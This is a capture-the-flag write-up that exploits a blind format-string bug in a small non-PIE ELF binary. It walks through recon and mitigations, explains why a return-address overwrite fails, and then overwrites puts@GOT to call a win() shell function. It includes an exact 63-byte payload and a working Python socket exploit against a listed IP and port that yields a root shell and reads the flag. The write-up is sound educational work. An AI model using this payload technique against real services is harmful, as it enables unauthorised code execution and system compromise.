← All writeups

Pwn

The World's Most Boring Binary

Category: pwn / binary exploitation (format string) Target: 34.63.108.139:4242 Binary: 1778608629_chall (ELF64, x86-64, dynamically linked, not stripped) Flag: P2P{Turn5_0uT_1t_W4snT_S0_b0r1nG_Aft3r4lL}

The challenge description — "I might have made the world's most boring binary. Just saying." — is a troll. The binary really is short and dull-looking, but it hides a format-string bug with several layers of defense that rule out the "obvious" exploit and force a GOT-overwrite.


1. Recon

$ file 1778608629_chall
ELF 64-bit LSB executable, x86-64, dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped

Symbols of interest (nm):

00000000004011f6 T win
0000000000401272 T greet
000000000040120d T setup
00000000004012fc T main

A win function in a not-stripped, non-PIE binary — the classic "redirect control to win" setup.

Source (recovered from the server after popping a shell)

void win() { system("/bin/sh"); }

void setup() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin,  NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void greet() {
    char name[64];
    printf("Tell me your name: ");
    fgets(name, sizeof(name), stdin);          // <= 63 bytes, bounded

    char formatted[96];
    snprintf(formatted, sizeof(formatted), name);  // <-- BUG: user input is the format string

    puts("\nThanks. You can leave now.\n");        // result of snprintf is DISCARDED
}

int main() {
    setup();
    puts("This is literally the most boring binary you will see this CTF...\n");
    greet();
    puts("Told you it was boring.");
    return 0;
}

Build flags (compile.sh)

gcc -o chall chall.c -no-pie -fstack-protector-strong -Wl,-z,relro -z noexecstack

This tells us the full mitigation picture:

Mitigation Status Consequence
PIE -no-pie Code & GOT are at fixed addresses (0x40xxxx).
Stack canary -fstack-protector-strong Can't smash the saved return address with a linear overflow.
RELRO ⚠️ Partial (-z relro, no -z now) Lazy binding → .got.plt is writable.
NX noexecstack No shellcode on the stack.

2. The bug

snprintf(formatted, sizeof(formatted), name);

name (fully user-controlled) is passed as the format string with no variadic arguments → a textbook format-string vulnerability. We can read/write the stack with %p/%n.

But three things make the "easy" exploit impossible:

  1. It's blind. formatted is never printed (puts outputs a constant string). So %p leaks give us nothing — we can never see stack/libc addresses.
  2. fgets and snprintf are both bounded (63 and 96 bytes), and the canary lives above the snprintf destination, so no write reaches it.
  3. The format string lands in name[64], so the whole payload — directives and any pointers — must fit in 63 bytes.

The author's "intended" hint

win is at 0x4011f6; greet's saved return address is 0x401324. They differ only in the low two bytes:

0x401324  (return into main)
0x4011f6  (win)
   ^^^^   only the low 16 bits change, and 0x11f6 = 4598

So the author clearly wants a single %hn writing 0x11f6 onto the saved return address.

A useful glibc quirk makes the count reachable despite the 96-byte cap — snprintf reports the untruncated length for %n:

snprintf(buf, 0x60, "%4598c%n", 'A', &n);   // n == 4598 (0x11f6), even though buf is only 96 bytes

…but that intended path turns out to be a dead end.


3. Why the return-address overwrite doesn't work

To %hn onto the saved return address I need a stack pointer that points at the return slot. To analyze this precisely I reproduced the server's runtime — the binary was built on Ubuntu 20.04 (GCC 9.4.0), i.e. glibc 2.31. Docker wasn't available (no privileges), so I downloaded the Ubuntu libc6 2.31 package and ran the binary under its loader:

ld-2.31.so --library-path <libdir> ./chall

Dumping the snprintf varargs region in gdb (offsets relative to greet's frame base RBP_g):

pos 18  off=  +0   -> RBP_g            (a pointer to greet's saved-rbp slot)
pos 26  off= +16   -> RBP_m            (greet's saved rbp = real frame pointer)
pos 27  off=  -    val=0x401324        (the return address VALUE we want to change)
pos 28  off=+192   -> RBP_l            (main's saved rbp)

Every reliable pointer is a 16-byte-aligned frame base (a saved rbp). Return addresses always sit at base + 8. There is simply no pointer to any +8 return slot — and there never can be, because saved-rbp values are 16-aligned while return slots are 8 mod 16.

The 2-stage idea, and why glibc kills it

Natural workaround: pointer pos 26 = RBP_m = RBP_g+0x10 points 8 bytes past the return slot. First nudge its stored low byte 0x60 → 0x58 (turning it into a return-slot pointer), then %hn through it. I tested this directly:

payload: %5$88c%18$hhn%5$4510c%26$hn

AFTER snprintf:
  saved_rbp[RBP_g] = 0x...dd58   <- stage 1 worked (0x60 -> 0x58)
  retslot[RBP_g+8] = 0x401324    <- UNCHANGED
  [RBP_g+0x10]     = 0x...11f6   <- stage 2 wrote to the OLD pointer

glibc snapshots all positional (%n$) arguments into an array before producing any output. So stage 2 used the pre-read pointer, not the one stage 1 modified. "Modify-then-reuse" is impossible with positional specifiers, and reaching pos 26 with sequential specifiers doesn't fit in 63 bytes.

Conclusion: a return-address overwrite is structurally impossible here. Pivot needed.


4. The working exploit — overwrite puts@GOT

Three facts combine perfectly:

  1. Non-PIE + partial RELROputs@GOT is at a fixed, writable address: 0x404018.
  2. greet calls puts("\nThanks...\n") immediately after the vulnerable snprintf. So corrupting puts@GOT detonates right away, inside greet.
  3. Calling win through the PLT (a normal call) keeps the stack 16-aligned, so system()'s movaps won't fault (a problem a ret-based redirect would have hit).

Because puts was already resolved by main's earlier puts(...), its GOT entry holds a libc address, so I overwrite the low 6 bytes with three half-word (%hn) writes, ordered by increasing count:

target value cumulative count
GOT+2 (0x40401a) 0x0040 64
GOT+0 (0x404018) 0x11f6 4598
GOT+4 (0x40401c) 0x0000 65536 (0x10000, low 16 bits = 0)

Result: puts@GOT = 0x00000000004011f6 = win. (Bytes 6–7 were already zero.)

Argument positioning

In the snprintf varargs, the input buffer's first qword is positional arg %4$. So buffer byte 8*k is arg %(4+k)$. I place the three GOT addresses at args %9$/%10$/%11$ (buffer bytes 40/48/56) and use %5$ as the throwaway width-padding argument:

%5$64c %10$hn  %5$4534c %9$hn  %5$60938c %11$hn   <addr GOT+0><addr GOT+2><addr GOT+4>
└──────────── 40 bytes of directives ───────────┘└────────── 24 bytes ──────────┘

Directives are exactly 40 bytes, addresses fill bytes 40–63. The NUL bytes inside the addresses don't matter: positional args are read from the stack, not by re-scanning the format string (which stops at the first NUL — after all three %hn have already fired). fgets reads 63 bytes and supplies the final NUL, completing the 8th byte of the last address.

Final payload (63 bytes)

%5$64c%10$hn%5$4534c%9$hn%5$60938c%11$hn\x18@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00\x1c@@\x00\x00\x00\x00

Why it's bulletproof: every address is a fixed non-PIE GOT address and every count is a constant. There is zero dependence on ASLR or libc internals — it relies only on non-PIE, writable GOT, and glibc's untruncated %n count. It worked on the remote on the first attempt.


5. Exploit script

#!/usr/bin/env python3
import socket, time, sys

PUTS_GOT = 0x404018   # puts@GOT  ->  overwrite to win (0x4011f6)

def fmtspec(n):                      # padding via arg %5$ (value irrelevant)
    return b"%5$" + str(n).encode() + b"c"

def build():
    p1, p2, p3 = 0x40, 0x11f6, 0x10000          # cumulative counts at each %hn
    d1, d2, d3 = p1, p2 - p1, p3 - p2           # 64, 4534, 60938
    fmt  = fmtspec(d1) + b"%10$hn"              # count 64    -> GOT+2 = 0x0040
    fmt += fmtspec(d2) + b"%9$hn"               # count 4598  -> GOT+0 = 0x11f6
    fmt += fmtspec(d3) + b"%11$hn"              # count 65536 -> GOT+4 = 0x0000
    assert len(fmt) == 40
    addrs = b"".join(a.to_bytes(8, "little")
                     for a in (PUTS_GOT+0, PUTS_GOT+2, PUTS_GOT+4))   # %9$ %10$ %11$
    return (fmt + addrs)[:63]                    # fgets reads 63; trailing NUL finishes pos 11

def pwn(host="34.63.108.139", port=4242):
    s = socket.socket(); s.connect((host, port)); time.sleep(0.4)
    s.recv(4096)                                 # banner + "Tell me your name: "
    s.sendall(build() + b"\n")                   # -> system("/bin/sh")
    time.sleep(0.4)
    s.sendall(b"id; cat flag* /flag* 2>/dev/null; echo ===END===\n")
    time.sleep(1.2)
    s.settimeout(3); out = b""
    try:
        while True:
            d = s.recv(4096)
            if not d: break
            out += d
    except Exception: pass
    sys.stdout.buffer.write(out)

if __name__ == "__main__":
    pwn()

Result

uid=0(root) gid=0(root) groups=0(root)
P2P{Turn5_0uT_1t_W4snT_S0_b0r1nG_Aft3r4lL}

The service even runs as root, so the format-string bug yields a full root shell.


6. Takeaways

Flag: P2P{Turn5_0uT_1t_W4snT_S0_b0r1nG_Aft3r4lL}